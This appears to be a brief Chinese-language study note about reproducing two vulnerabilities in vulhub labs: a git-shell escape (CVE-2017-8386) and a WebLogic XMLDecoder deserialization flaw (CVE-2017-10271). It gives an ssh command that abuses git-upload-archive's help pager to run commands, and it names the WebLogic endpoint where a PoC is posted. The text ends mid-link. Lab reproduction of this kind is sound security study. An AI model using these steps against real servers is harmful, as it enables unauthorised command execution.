vulhub的cve-2017-8386sudo ssh -p 3322 -i id_rsa -t git@127.0.0.1 "git-upload-archive '--help'"shift+e!+命令

Weblogic < 10.3.6 ‘wls-wsat’ XMLDecoder 反序列化漏洞（CVE-2017-10271）影响版本Weblogic < 10.3.6触发位置 http://ip:7001/wls-wsat/CoordinatorPortType通过post提交poc即可成功运行以及poc测试脚本，参考（https://www.cnblogs.com/xiaozi/p/